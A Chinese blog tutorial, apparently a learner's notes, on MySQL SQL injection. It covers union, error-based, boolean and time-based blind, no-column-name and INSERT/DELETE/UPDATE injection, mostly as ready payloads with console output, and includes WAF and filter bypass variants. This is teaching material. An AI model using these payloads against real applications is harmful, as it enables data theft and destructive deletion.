上一节中,大致把sql中的函数记录了下,如果有什么不足希望各位师傅斧正。晚自习没课,所以现在把常见的注入方式,以及利用过程讲一下。
注入类型
数值型注入
也就是说后台的sql语句直接拼接的一个数值,可以通过以下方式进行初步判断,如果有waf,那么可以尝试使用注释符等将waf过滤的关键字进行包裹,使waf无法匹配,达到绕过waf的效果。
?id=1+1
?id=-1 or 1=1
?id=-1 or 10-2=8
?id=1 and 1=2
?id=1 and 1=1
字符型注入
后台得到一个字符型数据然后进行拼接查询,具体判断方式如下。
?id=1'
?id=1"
?id=1' and '1'='1
?id=1" and "1"="1
值得注意的是,在字符型注入中,要通过手工测试去判断后台sql语句的写法,例如:
mysql-> select password from userinfo where username='admin'
可以看到其数据是包裹在一对单引号中的,也就是说如果我们在插入一个单引号,就会引起后台sql语句执行报错,然后就可以根据其包裹方式构造payload进行注入。
union联合注入
首先使用order by进行字段猜测。
oder by num//num是具体数值
Example:id=1 order by 2
页面正常,id=3 order by 6
页面错误,那么字段就是2
字符型的话需要注释后面的引号,Example:id=1' order by 2%23
(%23=#)
得到具体字段数后,我们就可以进行爆字段位置:
and 1=2 UNION SELECT 1,2或 id=-1 UNION SELECT 1,2
然后就可以进行数据库表查询(mysql环境下)
and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- +
基础语法:
union select xxx from xxx
过滤了逗号的话可以使用join进行绕过
select username,user_passwd from userinfo union select * from ((select(1))a join(select version())b);
+----------+-------------+
| username | user_passwd |
+----------+-------------+
| admin1 | admin1 |
| admin2 | admin2 |
| 1 | 5.6.44 |
+----------+-------------+
3 rows in set (0.07 sec)
join函数的作用是用于把来自两个或多个表的行结合起来。语句中的a等于是把select(1)的值赋给了a,也就是a=select (1),然后把两个拼接起来。
tips:该注入方式,适合用与显错注入,可以将注入得到的值直接显示到页面上。
报错注入
常用于没有sql错误提示的注入场景,具体原理分析如下。
首先看一下我们的测试表
select * from userinfo;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
| 1 | admin1 | admin1 |
| 2 | admin2 | admin2 |
| 3 | admin1 | admin1 |
| 4 | admin1 | admin1 |
+--------+----------+-------------+
4 rows in set (0.07 sec)
可以看到总共有userid,username,user_password,三个字段,我们使用floor报错注入payload:
select count(*),(concat(floor(rand()*2),(select version())))x from users group by x
结果如下
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
Duplicate entry '5.6.441' for key 'group_key'
我们可以看到我数据库版本号出现在了错误语句当中,那么到底是为什么他会报错呢,我们进一步去分析
floor()
函数作用是返回返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。
rand(0)
函数可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成,我们可以在数据库中尝试一下。首先测试rand()
mysql> select floor(rand()*2) from userinfo;
+-----------------+
| floor(rand()*2) |
+-----------------+
| 0 |
| 0 |
| 1 |
| 0 |
+-----------------+
4 rows in set (0.07 sec)
mysql> select floor(rand(0)*2) from userinfo;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
+------------------+
4 rows in set (0.07 sec)
mysql> select floor(rand(0)*2) from userinfo;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
+------------------+
4 rows in set (0.07 sec)
很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()是随机的,很难控制,可能达不到报错效果。
那么为什么会报错呢,报错语句为Duplicate entry '5.6.441' for key 'group_key'意思是说group_key条目重复,那么我们使用group by 测试下。
mysql> select count(*),username from userinfo group by username;
+----------+----------+
| count(*) | username |
+----------+----------+
| 3 | admin1 |
| 1 | admin2 |
+----------+----------+
2 rows in set (0.07 sec)
我们可以看到生成了一个虚拟表,在这张虚拟表中,group by后面的字段作为主键,所以这张表中主键是username,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。
我们把这个payload拆分来看select count(),(concat(floor(rand()2),(select version())))x from users group by x
可以分为这么几部分select count(*)
,concat(floor(rand()*2),(select version()))
,group by x
我们一步一步来解释
首先第一段select没什么讲的,COUNT(*) 函数返回表中的记录数,第二段concat用于拼接字符串,我们可以尝试在sql中使用。
mysql> select concat_ws('@',version(),floor(rand()*2));
+------------------------------------------+
| concat_ws('@',version(),floor(rand()*2)) |
+------------------------------------------+
| 5.6.44@1 |
+------------------------------------------+
1 row in set (0.05 sec)
可以看到该命令将version和floor的值进行了拼接,那么我们在根据group by 的特性,group by语句执行过程中,一行一行的去扫描原始表的username字段,如果username在username-count()不存在,那么就将他插入,并置count()置1,如果username在username-count()表中已经存在,那么就在原来的count(*)基础上加1,就这样直到扫描完整个表,就得到我们看到的这个表了,group by后面的字段时虚拟表的主键,也就是说它是不能重复的,这是后面报错成功的关键点。
我们进行测试,userinfo表中有四条数据,我们可以看到
mysql> select concat_ws('@',version(),floor(rand(0)*2))x from userinfo;
+----------+
| x |
+----------+
| 5.6.44@0 |
| 5.6.44@1 |
| 5.6.44@1 |
| 5.6.44@0 |
+----------+
4 rows in set (0.05 sec)
我们可以看到每一次生成的值是根据floor函数决定的,再结合rand(0)函数的特性,导致其随机数可以被控制,所以才有了我们上面的结果。
在执行group by语句的时候,group by语句后面的字段会被运算两次。
第一次:我们之前不是说了会把group by后面的字段值拿到虚拟表中去对比吗,在对比之前肯定要知道group by后面字段的值,所以第一次的运算就发生在这里。
第二次:现在假设我们下一次扫描的字段的值没有在虚拟表中出现,也就是group by后面的字段的值在虚拟表中还不存在,那么我们就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致错误!
我们测试一下首先用rand(0)生成随机数
mysql> select floor(rand(0)*2) from userinfo;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
+------------------+
4 rows in set (0.05 sec)
然后跟着流程走,首先开始虚拟表是空的如下
count(*) | x |
---|---|
当我扫描原始表的第一项时,第一次计算,floor(rand(0)*2)是0,然后和数据库的版本号(假设就是5.6.44)拼接,到虚拟表里去寻找x有没有x的值是5.6.44@x的数据项,结果显然是没有,那么接下来就将它插入到上表中,但是还记得吗,在插入之前会进行第二次计算,这时x的值就变成了5.6.44@1,所以虚拟表变成了下面这样:
count(*) | x |
---|---|
1 | 5.6.44@1 |
现在扫描原始表的第二项,第一次计算x==’5.6.44@1‘,已经存在,不需要进行第二次计算,直接插入,得到下表:
count(*) | x |
---|---|
2 | 5.6.44@1 |
扫描原始表的第三项,第一次计算x==‘5.6.44@0’,虚拟表中找不到,那么进行第二次计算,这时x==‘5.6.44@1’,然后插入,但是插入的时候问题就发生了,虚拟表中已经存在以5.6.44@1为主键的数据项了,插入失败,然后就报错了!
过程如下:
扫描第一项第一次计算x='5.6.44@0'(与rand(0)对应),发现没有那么进行插入,插入是在进行计算这时x='5.6.44@1',那么将其插入,到这里第一次扫描完成,因为rand的随机性所以导致插入的数据为5.6.44@1,那么继续往下走,在第二次扫描这时x='5.6.44@1'发现虚拟表中存在,那么就直接插入,不进行第二次计算,到此第二次扫描完成,第三次扫描开始,首先x='5.6.44@0',然后发现表中没有,那么久进行插入而插入的时候还需进行一次计算,这是x='5.6.44@1',那么与之前第一次计算得到的值不相同然后报错把值爆出来了。
XPATH语法错误
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容。
它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。
select updatexml(1,concat(0x7e,(select version()),0x7e),1);
select extractvalue(1,concat(0x7e,(select version()),0x7e));
函数特性报错
故名思义,也就是利用一些函数的特性,使其报错,得到我们想要的结果。
- geometrycollection()
and geometrycollection((select * from(select * from(select user())a)b))-- +
- multipoint()
and multipoint((select * from(select * from(select user())a)b))-- +
- polygon()
and polygon (()select * from(select user ())a)b )-- +
- multipolygon()
and multipolygon((select * from(select * from(select user())a)b))-- +
- linestring()
and linestring((select * from(select * from(select user())a)b))-- +
- multilinestring()
and multilinestring((select * from(select * from(select user())a)b))-- +
- exp()
and exp(~(select * from(select user())a))--+
盲注
盲注指的是没有回显,但是能根据我们构造的sql条件返回不同响应,而盲注跑出数据相对较麻烦,MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。
构造布尔条件
//正常情况
'or bool#
true'and bool#
//不使用空格、注释
'or(bool)='1
true'and(bool)='1
//不使用or、and、注释
'^!(bool)='1
'=(bool)='
'||(bool)='1
true'%26%26(bool)='1
'=if((bool),1,0)='0
//不使用等号、空格、注释
'or(bool)<>'0
'or((bool)in(1))or'0
//其他
or (case when (bool) then 1 else 0 end)
有时候where字句有括号又猜不到SQL语句的时候,可以有下列类似的fuzz
1' or (bool) or '1'='1
1%' and (bool) or 1=1 and '1'='1
逻辑判断的函数
left(user(),1)>'r'
right(user(),1)>'r'
substr(user(),1,1)='r'
mid(user(),1,1)='r'
greatest("sed",database())= "sed" //返回最大值再与字符串比较
select least("sea",database())="sea"; //返回最小值再与字符串比较
//不使用逗号
user() regexp '^[a-z]'
user() like 'root%' //注意_/%通配符,建议写脚本的时候时候写到字符集最后面
POSITION('root' in user())
mid(user() from 1 for 1)='r'
mid(user() from 1)='r'
可以配合ascii、ord、char、使用。
order by盲注
order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序,不区分大小写。
首先我们进行测试下:
mysql> select * from userinfo union select 1,2,3 order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
| 1 | 2 | 3 |
| 1 | admin1 | admin1 |
| 3 | admin1 | admin1 |
| 4 | admin1 | admin1 |
| 2 | admin2 | admin2 |
+--------+----------+-------------+
5 rows in set (0.07 sec)
mysql> select * from userinfo union select 1,2,'a' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
| 1 | 2 | a |
| 1 | admin1 | admin1 |
| 3 | admin1 | admin1 |
| 4 | admin1 | admin1 |
| 2 | admin2 | admin2 |
+--------+----------+-------------+
5 rows in set (0.07 sec)
我们可以看到 当我们查询第三列数据开头一样的数据时,select 1,2,3的数据会排在第一行,那么我们继续测试。
mysql> select * from userinfo union select 1,2,'b' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
| 1 | admin1 | admin1 |
| 3 | admin1 | admin1 |
| 4 | admin1 | admin1 |
| 2 | admin2 | admin2 |
| 1 | 2 | b |
+--------+----------+-------------+
5 rows in set (0.07 sec)
可以看到其数据被排到第二行了,那么我们可以根据这个规则进行注入,我们继续测试
mysql> select * from userinfo union select 1,2,'ad' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
| 1 | 2 | ad |
| 1 | admin1 | admin1 |
| 3 | admin1 | admin1 |
| 4 | admin1 | admin1 |
| 2 | admin2 | admin2 |
+--------+----------+-------------+
5 rows in set (0.07 sec)
mysql> select * from userinfo union select 1,2,'ads' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
| 1 | admin1 | admin1 |
| 3 | admin1 | admin1 |
| 4 | admin1 | admin1 |
| 2 | admin2 | admin2 |
| 1 | 2 | ads |
+--------+----------+-------------+
5 rows in set (0.07 sec)
可以看到我们输入ad与admin1进行比较,我们的数据排在第一行,而输入ads,排在了最后,那么我们就可以根据数据排序进行数据注入,猜测出数据,此方法多用与无列名注入。
基于时间的盲注
适用于对页面无变化,无法用布尔盲注判断的情况,一般用到函数 sleep() BENCHMARK()。
sleep()作用是用来延时 benchmark()其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。
时间盲注我们还需要使用条件判断函数if() if(expre1,expre2,expre3) 当expre1为true时,返回expre2,false时,返回expre3
举个🌰:
mysql> select * from userinfo where userid=1 and if((substr((select user()),1,1)='r'),sleep(5),1);
Empty set (5.01 sec)
如果这两个函数都被ban了我们可以利用笛卡尔积造成延时进行注入。
知识点:笛卡尔积可以将多个表合并成为一个表
进行测试:
mysql> mysql> select count(*) FROM information_schema.columns A, information_schema.columns B;
+----------+
| count(*) |
+----------+
| 3515625 |
+----------+
1 row in set (0.52 sec)
所以paylod:
1' and if(想执行的查询语句,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.columns C),1)%23
另外还可以用get lock()进行延时盲注
知识点:
- mysql_pconnect(server,user,pwd,clientflag)
mysql_pconnect() 函数打开一个到 MySQL 服务器的持久连接。
mysql_pconnect() 和 mysql_connect() 非常相似,但有两个主要区别:当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的(持久)连接,如果找到,则返回此连接标识而不打开新连接。其次,当脚本执行完毕后到 SQL 服务器的连接不会被关闭,此连接将保持打开以备以后使用(mysql_close() 不会关闭由 mysql_pconnect() 建立的连接)。
- get_lock(str,timeout)
get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。在一个session中锁定变量,同时通过另外一个session执行,将会产生延时
进行测试:
首先打开两个sqlshell 在第一个上运行
mysql> select get_lock('test',5)
-> ;
+--------------------+
| get_lock('test',5) |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.06 sec)
然后在第二个上运行同样的语句
mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
| 0 |
+--------------------+
1 row in set (5.03 sec)
可以看到延时了,那我们在实际中可以利用如下。
先执行:1' and get_lock(1,2)%23使其上锁,然后在执行1' and if(1,get_lock(1,2),1)%23,看延时进行判断。
无列名注入
使用order by
在上文中已经提及过其用法,大家可以翻回去看看,这里不在累赘。
字查询
在无列名的情况下,用子查询可以很简单的将数据跑出来。
子查询是将一个查询语句嵌套在另一个查询语句中。在特定情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询(inner query)语句的查询结果,可以为外层查询(outer query)语句提供查询条件。
进行测试
mysql> select 1,2,3 union select * from userinfo;
+---+--------+--------+
| 1 | 2 | 3 |
+---+--------+--------+
| 1 | 2 | 3 |
| 1 | admin1 | admin1 |
| 2 | admin2 | admin2 |
| 3 | admin1 | admin1 |
| 4 | admin1 | admin1 |
+---+--------+--------+
5 rows in set (0.04 sec)
可以把他当作形成了一个虚拟表,1,2,3位于第一条数据,那么我们在进行查询。
mysql> SELECT x.3 FROM (SELECT * FROM (select 1)a,(select 2)b,(select 3)c union select * from userinfo)x;
+--------+
| 3 |
+--------+
| 3 |
| admin1 |
| admin2 |
| admin1 |
| admin1 |
+--------+
5 rows in set (0.05 sec)
我们可以看到在没有输入列名的情况下,也把数据查询出来了。
在限制了union时
参考p0desta师傅的博客
mysql> select * from userinfo where id=1 and (select * from (select * from userinfo as a join userinfo as b) as c);
1060 - Duplicate column name 'userid'
可以发现第一个列名已经被爆出来了,那么他的原理到底是什么呢。
这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。
同时,可以利用using爆其他字段:
mysql> select * from userinfo where id=1 and (select * from (select * from userinfo as a join userinfo as b using(userid)) as c);
1060 - Duplicate column name 'username'
mysql> select * from userinfo where id=1 and (select * from (select * from userinfo as a join userinfo as b using(userid,username)) as c);
1060 - Duplicate column name 'user_passwd'
insert,delete,update
insert
可以看到假如没闭合是会产生很多垃圾数据的,所以这类注入建议手工或者自己写工具。
一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现。
- 报错
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 1 | and 1=1 | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
- 盲注
int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
注意盲注产生大量垃圾数据。
delete
报错注入同上
值得注意的时delete 注入很危险,很危险,很危险。
语句不当 将会亲人泪两行 or 1=1
因为 1=1 为true 所以每一行被删除了, 他以前用sqlmap一把梭 现在过的很好,每顿都有人送饭到手上。
所以在 delete注入时使用 or 一定要为false
mysql> delete from admin where id =3 or 1=1;
Query OK, 4 rows affected (0.00 sec)
报错注入
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
盲注
or 配上 if()
函数使用不当 再提下 if(expr1,expr2,expr3),如果expr1的值为true,返回expr2的值,如果expr1的值为false,
返回expr3的值。
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1);
Query OK, 3 rows affected (0.00 sec)
所以 delete中 or 的正确使用方法 (or 右边要为false)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
update
与上面的类似
mysql> select * from admin;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | admin | admin |
+------+----------+----------+
4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0
写在最后
这篇文章写了两天,由于博主自己水平有限,对很多知识点不理解,花了一定的时间去学习,不过结果终究是好的,因为学到了东西,接下来会慢慢去接触sql注入bypass,希望自己能越来越强吧。
也感谢各位师傅的博客让我学到了很多东西,这篇文章的完成,借鉴了很多师傅的博客,自己在进行了一定的总结。
最后如果师傅们发现我文章中有什么错误,希望师傅斧正。